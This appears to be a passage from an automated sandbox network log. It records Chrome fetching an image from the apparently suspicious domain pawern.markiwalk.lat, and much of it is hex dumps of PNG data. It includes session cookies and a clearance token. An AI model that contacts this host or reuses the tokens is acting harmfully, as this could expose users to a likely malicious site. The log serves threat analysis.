2024-10-03 16:19:39 UTC	1369	IN	Data Raw: 81 59 df 47 3a 26 b7 69 6d 2c 85 a6 98 93 82 49 0a ab cd 42 69 56 8f 43 05 a5 b3 51 d3 b4 f5 d3 b4 b8 ad e3 8c 2b 84 1b 88 f3 35 c2 e0 1c 8f e2 f4 15 cb a9 7a 9a df 46 05 25 9a d1 1f 68 3e 11 2c 64 03 c8 9c 76 06 a8 e9 3a a2 eb 16 af 35 bb 28 74 c6 f5 07 38 cf bd 74 dd 52 43 c3 76 d9 d3 50 86 3f b3 3b 4f 24 61 3b 12 e7 03 e5 f3 ac f7 5f b3 fb 0b 13 18 dd 13 1d db 40 c1 07 d4 7a 1a 2d a9 5f ea 0f a9 3b c3 12 19 23 c8 8c ce 72 8b 8f 41 ea 7d 68 7d d3 eb 17 ce cb 7b 25 a4 90 e3 9f 05 4f 7a 3a 68 2a ee 8a 31 dc 25 f4 0a ce 72 ff 00 85 c8 e3 3e 87 e7 fe f4 77 a6 2e 5e 0d 5a da 75 7d b7 91 9d aa 47 02 65 fd e4 3f 31 db d0 fc e9 3e d3 ee 6e ae 62 27 85 61 f4 cd 16 b5 94 30 68 df b8 e4 11 dc 1f 51 ff 00 3c a9 b1 be 2c 5c 9b 89 b7 59 30 7d 4a e1 d7 b3 20 22 8a 40 Data Ascii: YG:&im,IBiVCQ+5zF%h>,dv:5(t8tRCvP?;O$a;_@z-_;#rA}h}{%Oz:h*1%r>w.^Zu}Ge?1>nb'a0hQ<,\Y0}J "@
2024-10-03 16:19:39 UTC	1369	IN	Data Raw: d0 66 4e 17 e7 cd 2f ea 47 33 fc 86 68 fc c7 00 d2 fe a3 9f 11 88 ef 8a d3 e8 cc bb 15 fa b7 9b 78 7f cc 68 06 f2 17 1e d4 7b aa bf b9 b7 f7 0c 7f 3a 00 ea 36 a7 7e 45 49 f6 51 17 d0 6f 41 52 bc 5b 31 31 8e f9 f3 a9 4a 31 42 2b 5d 3d a0 dd 2b 95 7a d0 ff 00 67 3a 25 b6 9b a4 3e b0 63 06 e6 eb 22 26 23 94 88 1c 71 e9 93 cf f2 ac 96 19 27 bd b8 82 d6 23 87 9e 55 89 3e 6c 40 1f ad 6f 86 38 ed cd be 9f 0b 62 2b 68 d6 20 08 c6 40 a2 92 bb 44 60 9f b2 dd bb 82 81 e5 e0 01 bd b3 4b ab 26 f7 d4 2f 9d 98 91 17 00 9c 77 3e bf 4a 3f 2c 7e 2c 2f 1a 91 f7 8c 14 91 e9 e7 40 3a 89 7e cd a5 78 31 28 12 4c d9 3f 21 c0 aa 15 8f e0 81 3d b3 df 58 4a 6d b7 bc d3 b3 07 e3 9c 03 ce 4f bf f4 a5 1f 18 82 21 8d 5a 5f bd 0f 92 bd 97 b1 1e d4 f8 d6 d7 7a 51 84 45 17 8c b2 82 58 03 Data Ascii: fN/G3hxh{:6~EIQoAR[11J1B+]=+zg:%>c"&#q'#U>l@o8b+h @D`K&/w>J?,~,/@:~x1(L?!=XJmO!Z_zQEX
2024-10-03 16:19:39 UTC	382	IN	Data Raw: a3 74 a0 ee f8 41 fa 0a 20 40 9e d7 31 16 18 cb 55 1d 6e ee 34 b7 62 5b b0 fe b5 6a eb e0 92 3d 99 43 b9 bd c7 6f 4a 57 d6 d2 63 b5 9c 13 19 60 3e 1e 47 b7 ca a7 37 4b 45 52 b2 bd b6 e5 b7 bb b9 60 33 e1 13 9c 73 92 4d 74 e9 c8 bc 0d 6d 97 d6 24 3f f6 8a f7 2a e6 ca 48 50 64 3c ab 12 ff 00 88 f9 d7 5b 13 b3 aa a6 8f 18 d9 12 2f e5 52 83 b6 36 45 a2 cf 52 12 64 5e 38 d9 43 46 ef 05 48 a2 7d 46 f8 65 5c 72 57 bd 0f 8d 7e eb 1e d4 cf b2 47 7b 72 06 78 a9 5c d0 1e 71 da a5 70 4d 9a f7 22 dd bc fe 21 c7 d2 94 7a 8e 25 f0 e4 b8 51 b6 4b 75 df 9f e2 5f 31 52 a5 19 06 00 ae 8f bc 77 ea 9b 84 39 c3 58 82 3f fb d3 a1 73 f0 f2 7b 9f d6 a5 4a 96 3f e4 7c 9f d1 ce 42 c7 cf cf d6 aa ce cc 10 72 7b 1f 3a 95 29 ac 99 c9 98 ee 3c 0a f9 6e fb 65 c8 1c f1 8e 6a 54 a6 b3 91 Data Ascii: tA @1Un4b[j=CoJWc`>G7KER`3sMtm$?*HPd<[/R6ERd^8CFH}Fe\rW~G{rx\qpM"!z%QKu_1Rw9X?s{J?\|Br{:)<nejT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.16	49810	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:42 UTC	1174	OUT	GET /master/us217/logo2.png HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd; cf_clearance=Mu6XuA0a7g3Dzr0CytgV_brTVeqix8KITnc_8YvK_U0-1727972297-1.2.1.1-Mdk5bwj8d9aPgWIaWdtro12oPbLU_AZB2sjyV4o5veq9FKJtZAHhXoF__TH4InBB9bPCHcLrbWgvTJzpIUtm0mEOqotpsBiCoVko5xYyb7uSqKwEa54kDKKf7cK7HXsItT1_t2V9E42MuNBGQdB9pDkKFCXviurLpPrY8qizKTeaIuS79sd8_ybSLbFICrScZp7NRcaERJjELZTcYJ.J53LlmCfSi_KX.p.8tJaJEBx73YLnBlzjjETenTwxYXxvKnpZsTdbGv2B99nu8ZHUEPm26NH4sqSQ6IOBZzR0GThHo41V1KWNmF.OLMY5g45I64DE7wSEIhjPI0rRiwZQZJ_0UR9lv2mB4GRP3vqxFW86dQvR3i20jUA_zFIuehJg
2024-10-03 16:19:42 UTC	811	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:42 GMT Content-Type: image/png Content-Length: 12288 Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:29:42 GMT last-modified: Thu, 05 Sep 2024 16:49:31 GMT x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent CF-Cache-Status: HIT Age: 2999 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0YvEvF3rK7%2FhjfeiU%2Feyw8o2L2mlAcIMR%2FGrqeIoPObhs0k9dIrYR%2BjC%2Bhen3JPs%2B80iCpoQtTAABVVmHpFgBLxip7Qkn9gdpZ8YpzqHyVQy%2B9ar%2FRY1xJpgBvvjbsYEO0Zmo4swrw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce415c88eb3300-EWR
2024-10-03 16:19:42 UTC	558	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 c1 00 00 01 49 08 03 00 00 00 4d 64 00 6e 00 00 07 e2 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 31 20 37 39 2e 31 34 36 32 38 39 39 2c 20 32 30 32 33 2f 30 36 2f 32 35 2d 32 30 3a 30 31 3a 35 35 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f Data Ascii: PNGIHDRIMdniTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899, 2023/06/25-20:01:55 "> <rdf:RDF xmlns:rdf="http://
2024-10-03 16:19:42 UTC	1369	IN	Data Raw: 6f 75 72 63 65 45 76 65 6e 74 23 22 20 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 22 20 78 6d 70 3a 43 72 65 61 74 65 44 61 74 65 3d 22 32 30 32 31 2d 30 39 2d 31 35 54 32 32 3a 35 31 3a 30 39 2b 30 38 3a 30 30 22 20 78 6d 70 3a 4d 6f 64 69 66 79 44 61 74 65 3d 22 32 30 32 34 2d 30 38 2d 32 38 54 32 31 3a 35 31 3a 31 31 2b 30 38 3a 30 30 22 20 78 6d 70 3a 4d 65 74 61 64 61 74 61 44 61 74 65 3d 22 32 30 32 34 2d 30 38 2d 32 38 54 32 31 3a 35 31 3a 31 31 2b 30 38 3a 30 30 22 20 64 63 3a 66 6f 72 6d 61 74 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 70 68 6f 74 6f 73 68 6f 70 3a 43 6f 6c 6f 72 4d 6f 64 65 3d 22 33 22 20 78 6d 70 4d 4d 3a 49 6e 73 74 61 6e 63 65 49 44 Data Ascii: ourceEvent#" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2021-09-15T22:51:09+08:00" xmp:ModifyDate="2024-08-28T21:51:11+08:00" xmp:MetadataDate="2024-08-28T21:51:11+08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID
2024-10-03 16:19:42 UTC	1369	IN	Data Raw: 6f 73 68 6f 70 20 32 34 2e 37 20 28 57 69 6e 64 6f 77 73 29 22 20 73 74 45 76 74 3a 63 68 61 6e 67 65 64 3d 22 2f 22 2f 3e 20 3c 2f 72 64 66 3a 53 65 71 3e 20 3c 2f 78 6d 70 4d 4d 3a 48 69 73 74 6f 72 79 3e 20 3c 2f 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 3e 20 3c 2f 72 64 66 3a 52 44 46 3e 20 3c 2f 78 3a 78 6d 70 6d 65 74 61 3e 20 3c 3f 78 70 61 63 6b 65 74 20 65 6e 64 3d 22 72 22 3f 3e c3 83 32 6d 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 03 00 50 4c 54 45 47 70 4c e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e6 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 Data Ascii: oshop 24.7 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>2mpHYs.#.#x?vPLTEGpL33333333333333333333333333333
2024-10-03 16:19:42 UTC	1369	IN	Data Raw: e6 1b 2f 1e ff f5 42 28 55 e3 9c bb fc d4 84 77 df 38 61 3c d8 f2 c2 9e cb 50 aa c6 38 f5 d0 cb d9 db 3e 37 be 1c 19 77 11 aa 26 08 8b 88 3f d8 23 b5 77 ef ae 7d ae eb da bb 77 ea f2 e1 57 23 ba e3 66 b0 f9 f9 67 c6 bf 71 de 84 e2 cd 3d 0f 40 55 8b ee d1 51 c9 0d 8e ae e9 d9 2f 2b 66 d0 c8 9c d8 c7 69 a3 79 6c e4 bd cf 6e e8 30 37 bc fd ba 4b 3b ba f5 48 c4 4f d0 b4 55 4f 7f fd a4 29 87 21 e3 a0 aa 50 62 8f 0b c9 03 1e 69 75 fa de c8 04 fa 55 27 37 af cb ac a3 6d da a5 76 c6 4f c3 63 4f 6d 7c 63 8b 29 b7 66 50 55 a0 e1 c1 79 93 92 b2 46 a7 b1 02 d4 cd eb 30 25 ae 4d 6a 18 6a b1 a1 cf 8c 7f c5 54 90 37 0e 40 55 a6 e1 51 db eb 9d be 8b 15 2e 27 bd 43 d2 bc 63 8d 50 eb 9c db df ec b5 4d a6 02 9d 18 0a 55 39 c6 de bd a6 c3 19 56 aa 8c db 7b 36 e8 da 08 b5 c6 Data Ascii: /B(Uw8a<P8>7w&?#w}wW#fgq=@UQ/+fiyln07K;HOUO)!PbiuU'7mvOcOm\|c)fPUyF0%MjjT7@UQ.'CcPMU9V{6
2024-10-03 16:19:42 UTC	1369	IN	Data Raw: 22 d8 81 a7 87 18 3f de d8 f8 36 2a c3 47 46 30 13 2a 40 9b 34 86 24 07 a1 88 a2 93 84 fa 08 c1 08 3a 1a 39 88 92 d8 f5 28 e3 c3 d7 37 19 ef b6 bc 70 e8 25 54 96 05 c6 d1 1b 50 56 0d 47 51 14 4b 47 17 10 82 87 e9 68 09 42 d0 8f 8e 06 63 05 45 fd 5a c2 62 d5 11 e3 dd be 2b 2f 4f 43 25 3a 64 1c cd 84 b2 e8 9a 49 c9 73 4d d2 e8 68 0d 42 90 47 47 0f c3 bf 96 91 74 f6 29 1a b7 a6 24 b3 31 ae 9b 36 61 ba f1 ec 57 87 9f 39 80 ca f5 bc 71 b2 0d ca 62 00 45 53 d0 87 ce 6e 85 7f f1 cd e9 e8 e7 f0 6f 2c 05 f5 00 24 51 34 09 85 2e 7f b6 c5 78 f5 f9 8b cf 9c 43 a5 5b b8 cf 38 78 0c aa 54 3f 4a d2 92 81 2e 14 34 85 6f fd 29 18 0e df 06 50 50 27 0c 40 b7 48 4a fe 06 98 f9 a2 f1 6a d3 0b bf 99 86 2a b1 d5 d8 eb 0b 75 c3 98 5b 29 e9 12 0d e0 16 0a 9a c0 b7 70 0a 26 c3 b7 Data Ascii: "?6GF0@4$:9(7p%TPVGQKGhBcEZb+/OC%:dIsMhBGGt)$16aW9qbESno,$Q4.xC[8xT?J.4o)PP'@HJj*u[)p&
2024-10-03 16:19:42 UTC	1369	IN	Data Raw: 05 99 b0 d5 81 3e cc 82 ab d5 f4 61 31 5c ed a4 1f 97 60 2f 97 82 d8 46 a8 62 1f 1a ab 71 50 c5 26 52 d2 07 76 e6 c7 d2 a2 f5 3d 14 dd 03 57 cb 68 75 6f 5d 4a 62 e1 ea 51 06 48 4f a3 24 1f f6 76 51 92 84 aa 75 71 8b b1 38 04 55 ac 29 25 f9 b0 d5 8b 56 97 26 53 d6 03 6e ee a1 55 c7 4c 8a da c1 cd cf 18 e0 c2 3d 94 24 74 87 bd 0e 94 34 45 95 ba 62 2c f6 40 5d d7 8a 92 68 d8 5a 47 ab 63 bd 29 5b 0f 17 77 26 d0 22 17 a3 28 fa 18 2e e2 19 20 12 f5 28 7a 07 f6 9a 52 72 3b aa d2 6f 8c c5 46 a8 eb 96 53 d2 0f f6 f2 68 f1 78 4b 24 50 14 03 17 93 68 f5 30 26 53 d4 1a 2e da 30 40 2b ec a6 e8 61 38 58 46 c9 58 54 9d 93 c6 62 3c 54 89 db 29 49 84 ad f9 29 b4 18 04 8c a4 68 6d 77 c8 96 d2 6a 3d 7a 53 d6 03 b2 51 0c 30 02 bd 28 ca 85 83 fa 94 dc 8e 2a f3 c0 9b a6 d4 67 Data Ascii: >a1\`/FbqP&Rv=Whuo]JbQHO$vQuq8U)%V&SnUL=$t4Eb,@]hZGc)[w&"(. (zRr;oFShxK$Ph0&S.0@+a8XFXTb<T)I)hmwj=zSQ0(*g
2024-10-03 16:19:42 UTC	1369	IN	Data Raw: 1c b4 a3 64 11 2a 56 b6 29 b6 ef 55 28 67 8f 52 90 10 0f 7b f5 68 d5 06 81 7e 4e d1 57 f3 51 56 47 5a a5 23 d0 dd 94 8d 41 59 63 18 e0 56 04 6a 41 51 27 38 38 46 c9 44 54 a8 6c 53 ec fc 43 50 82 45 14 a4 25 c2 5e 0e ad e2 11 68 22 65 4d 50 d6 40 5a ad 41 a0 c4 c7 29 da 8e b2 5a 30 c0 44 04 ea 41 59 1f d8 4b ac 43 41 3d 54 a4 66 a6 d8 82 03 50 92 45 14 dc d5 10 b6 8e d1 2a 17 65 8c a0 6c 0a ca da 40 ab 4f 51 46 0c 45 ad 51 56 16 03 b4 45 19 b9 14 ad 80 83 5c 0a 16 a3 02 bd 6e 8a fd f2 01 28 d1 22 0a ce c0 5e 1c ad 92 50 46 e7 14 8a 72 5b 22 50 62 73 5a a4 cd 47 19 97 28 4a 48 44 a0 f9 39 b4 8a 0d 43 19 a3 28 1a 04 07 23 29 18 84 8a f3 ba 29 d6 0c ca c5 22 0a ee 81 bd b3 b4 fa 14 65 8d a6 ac 37 02 b5 a1 d5 06 94 95 4a d9 7a 04 ba c0 00 cf a2 ac 79 94 45 c0 Data Ascii: dV)U(gR{h~NWQVGZ#AYcVjAQ'88FDTlSCPE%^h"eMP@ZA)Z0DAYKCA=TfPEel@OQFEQVE\n("^PFr["PbsZG(JHD9C(#))"e7JzyE
2024-10-03 16:19:42 UTC	1369	IN	Data Raw: 4c a8 f2 19 40 c9 12 58 0c 67 80 e5 90 34 a6 ec 0c 80 51 b4 8a 83 28 89 b2 fa 40 1c 03 3c 02 51 06 45 f7 c3 6a 27 25 93 e0 db e5 bd a6 c0 d7 0b a1 ca a9 3e 25 e1 b0 68 40 ab 3a 2d 21 ca a0 ec 18 10 49 ab 5e 10 b5 a5 ac 01 90 c5 00 bb 20 ea 40 59 22 2c b2 28 e9 0c bf c6 99 42 c7 a1 ca 6f 34 05 b1 2d 51 6a 19 ad b2 20 eb 40 d9 25 f4 a0 d5 60 c8 ea 37 a7 a8 15 c2 22 69 15 09 d9 dd 94 75 43 a9 db d2 28 78 16 7e 3d 6d 0a 9c 78 15 aa 02 34 a1 64 27 6e 08 8b a4 d5 08 c8 46 50 b6 01 2d 68 d5 01 2e 62 28 ca 41 6f 06 c8 87 2c 9e b2 7e 28 b5 83 92 1d f0 67 f3 61 53 e0 ca 42 a8 8a 10 96 42 c1 59 dc 90 ca 00 bd 21 8b a0 ec 71 2c a3 d5 25 b8 58 47 59 f7 28 06 68 00 17 f7 50 34 18 a5 46 53 50 37 11 be 9c 9c 6e 0a 3c 0d 55 41 a6 50 32 16 25 56 d0 ea 2c dc 6c a0 ac ff 06 Data Ascii: L@Xg4Q(@<QEj'%>%h@:-!I^ @Y",(Bo4-Qj @%`7"iuC(x~=mx4d'nFP-h.b(Ao,~(gaSBBY!q,%XGY(hP4FSP7n<UAP2%V,l
2024-10-03 16:19:42 UTC	1369	IN	Data Raw: bb 18 3a 89 4d 44 28 26 51 d6 13 fe 44 51 34 b8 31 54 ed 95 d8 81 92 9c 25 70 15 47 27 a3 11 92 3b 29 1b 0c 5f 96 8c a4 24 bf 3b 54 ad 16 47 d1 14 b8 59 4e 27 8f 20 34 99 94 f5 80 0f 8f 52 f4 08 54 6d 77 21 97 92 cc 0b 70 11 49 07 c7 10 9a 89 94 ed 86 67 17 46 52 d2 e9 02 54 ed 17 36 97 a2 9e b3 21 ca a2 bd 48 84 28 8a b2 0d f0 6a 0d 45 1d ba 43 fd 24 8c 48 a3 e4 de b6 90 ec a0 bd a5 08 51 f7 04 8a 52 3a c3 93 6e 23 29 49 eb 0f f5 53 11 5f 8f a2 0e 63 e0 6c 38 ed ed 44 a8 36 50 d6 06 1e 34 9d 4b 51 7e 34 d4 4f 48 83 3a 94 ac 3d 0a 67 3f a3 ad ab 08 d5 24 ca a6 c0 dd a4 58 4a ea 0c 80 fa 69 b9 3a 97 a2 cc 26 70 92 44 3b cf 22 64 77 52 76 d7 6c b8 d8 d9 9a a2 56 d1 50 3f 39 9f 9e a1 68 43 14 ec b5 a1 9d a3 08 5d 26 65 c7 20 6a 1c 43 51 6e 32 d4 4f 51 c3 35 Data Ascii: :MD(&QDQ41T%pG';)_$;TGYN' 4RTmw!pIgFRT6!H(jEC$HQR:n#)IS_cl8D6P4KQ~4OH:=g?$XJi:&pD;"dwRvlVP?9hC]&e jCQn2OQ5
2024-10-03 16:19:42 UTC	778	IN	Data Raw: 65 43 a9 da e0 8a b1 b5 00 4a d5 06 87 8c bd a9 50 aa 16 78 df d8 7b 02 4a d5 06 43 8c ad 19 50 aa 36 18 6f ec 3d 06 a5 6a 81 cb c6 de 13 50 aa 16 68 b9 d7 d8 9a 0e a5 6a 83 6c 63 ef 23 28 55 0b 9c 34 f6 0e 43 a9 da 60 ab b1 b5 6f 28 94 aa 05 5e 36 f6 ee 83 52 b5 c0 c2 4d c6 d6 a6 53 50 aa 16 58 69 ec 1d 87 52 b5 c0 54 e3 60 33 94 aa 05 1e 34 f6 b2 a1 54 2d 70 d2 38 78 0c 4a d5 02 5f 1b 7b 2f 40 a9 5a e0 7d e3 60 3f 94 aa 05 be 36 f6 b6 40 a9 5a 60 a1 71 d0 17 4a d5 02 ef 19 07 1f 40 a9 9a af e5 5e 63 ef 17 07 a0 54 cd f7 89 71 f0 1a 94 aa 05 de 32 0e 9a 41 a9 5a e0 b7 c6 c1 7b 50 aa e6 fb c8 38 19 06 a5 6a be 8d c6 c9 53 50 aa e6 fb a5 71 32 13 4a d5 7c 0b 8c 93 fd 50 aa c6 1b ba c9 38 79 06 4a d5 78 33 8d a3 09 a8 6c a7 9e 79 e1 65 28 55 1e af 1a 47 d9 Data Ascii: eCJPx{JCP6o=jPhjlc#(U4C`o(^6RMSPXiRT`34T-p8xJ_{/@Z}`?6@Z`qJ@^cTq2AZ{P8jSPq2J\|P8yJx3lye(UG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.16	49811	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:42 UTC	418	OUT	GET /master/us217/logo2.png HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:19:42 UTC	803	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:42 GMT Content-Type: image/png Content-Length: 12288 Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:29:42 GMT last-modified: Thu, 05 Sep 2024 16:49:31 GMT x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent CF-Cache-Status: HIT Age: 2999 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UxhLxadr8lCqw5UDHiZyq4Nd0%2F4F7%2BL%2Fg72QFpcgY9t5RmjgL9vCoJxRUGIwz5iPzCBI9yTbrz5v6S3YYuCs9sUsHyITmO3XZhIPPISlYKpq1Jg7xmRr%2FvJQclmiBRwXO4wHzEiw8g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce41607cbd18f2-EWR
2024-10-03 16:19:42 UTC	566	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 c1 00 00 01 49 08 03 00 00 00 4d 64 00 6e 00 00 07 e2 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 31 20 37 39 2e 31 34 36 32 38 39 39 2c 20 32 30 32 33 2f 30 36 2f 32 35 2d 32 30 3a 30 31 3a 35 35 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f Data Ascii: PNGIHDRIMdniTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899, 2023/06/25-20:01:55 "> <rdf:RDF xmlns:rdf="http://
2024-10-03 16:19:42 UTC	1369	IN	Data Raw: 6e 74 23 22 20 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 22 20 78 6d 70 3a 43 72 65 61 74 65 44 61 74 65 3d 22 32 30 32 31 2d 30 39 2d 31 35 54 32 32 3a 35 31 3a 30 39 2b 30 38 3a 30 30 22 20 78 6d 70 3a 4d 6f 64 69 66 79 44 61 74 65 3d 22 32 30 32 34 2d 30 38 2d 32 38 54 32 31 3a 35 31 3a 31 31 2b 30 38 3a 30 30 22 20 78 6d 70 3a 4d 65 74 61 64 61 74 61 44 61 74 65 3d 22 32 30 32 34 2d 30 38 2d 32 38 54 32 31 3a 35 31 3a 31 31 2b 30 38 3a 30 30 22 20 64 63 3a 66 6f 72 6d 61 74 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 70 68 6f 74 6f 73 68 6f 70 3a 43 6f 6c 6f 72 4d 6f 64 65 3d 22 33 22 20 78 6d 70 4d 4d 3a 49 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 Data Ascii: nt#" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2021-09-15T22:51:09+08:00" xmp:ModifyDate="2024-08-28T21:51:11+08:00" xmp:MetadataDate="2024-08-28T21:51:11+08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.ii
2024-10-03 16:19:42 UTC	1369	IN	Data Raw: 2e 37 20 28 57 69 6e 64 6f 77 73 29 22 20 73 74 45 76 74 3a 63 68 61 6e 67 65 64 3d 22 2f 22 2f 3e 20 3c 2f 72 64 66 3a 53 65 71 3e 20 3c 2f 78 6d 70 4d 4d 3a 48 69 73 74 6f 72 79 3e 20 3c 2f 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 3e 20 3c 2f 72 64 66 3a 52 44 46 3e 20 3c 2f 78 3a 78 6d 70 6d 65 74 61 3e 20 3c 3f 78 70 61 63 6b 65 74 20 65 6e 64 3d 22 72 22 3f 3e c3 83 32 6d 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 03 00 50 4c 54 45 47 70 4c e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e6 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 19 53 Data Ascii: .7 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>2mpHYs.#.#x?vPLTEGpL3333333333333333333333333333333S
